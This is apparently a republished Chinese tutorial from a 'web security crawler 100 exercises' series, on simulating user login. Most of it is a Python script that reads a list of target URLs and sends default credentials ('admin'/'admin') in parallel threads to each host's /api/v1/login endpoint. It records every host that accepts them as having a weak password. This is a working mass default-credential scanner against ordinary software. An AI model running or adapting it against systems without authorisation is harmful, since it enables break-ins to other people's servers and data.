目录
一、目标1:理清逻辑
二、目标2:将每一步用代码进行表示
三、网络安全O
一、目标1:理清逻辑
模拟登录的基本流程
1、进入入口程序
2、读取目标URL
3、请求加上线程
4、确定请求数据包
5、请求格式的确认
6、数据的处理与判断
二、目标2:将每一步用代码进行表示
(顺序会进行标号)
对于不同的站点的登录
需要对数据包、请求格式、逻辑处理等进行适当的修改
admin_login.py
import csv
import requests
import threading
def admin_login(urls):
#④确定请求数据包
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Edg/114.0.1823.79',
'Content-Type': 'application/json',
}
data = {
"accessKey": "admin",
"secretKey": "admin"
}
try:
#⑤请求格式的确认
res = requests.post(url=urls, headers=headers, json=data, timeout=60)
#⑥数据的处理与判断
if res.status_code == 204:
print(f"\033[32m[+]{urls} is 弱口令登录!\033[0m")
with open('ip_login.csv', mode='a', encoding='utf-8', newline='') as f:
csv_w = csv.writer(f)
csv_w.writerow([urls])
else:
print(f"\033[34m[-]{urls} pass.\033[0m")
except Exception as e:
print("错误为"+str(e))
#①进入入口程序
if __name__ == '__main__':
threads = []
#②读取目标URL
with open("ips.csv", mode="r") as f:
for u in f:
url = u.replace("\n", "")
urls = url + "/api/v1/login"
#③函数请求加上线程
thread = threading.Thread(target=admin_login, args=(urls,))
thread.start()
threads.append(thread)
for thread in threads:
thread.join()
三、网络安全O
README.md · 书半生/网络安全知识体系-实战中心 - 码云 - 开源中国 (gitee.com)https://gitee.com/shubansheng/Treasure_knowledge/blob/master/README.md文章来源:https://www.toymoban.com/news/detail-609578.html
GitHub - BLACKxZONE/Treasure_knowledgehttps://github.com/BLACKxZONE/Treasure_knowledge文章来源地址https://www.toymoban.com/news/detail-609578.html
到了这里,关于【网络安全带你练爬虫-100练】第15练:模拟用户登录的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!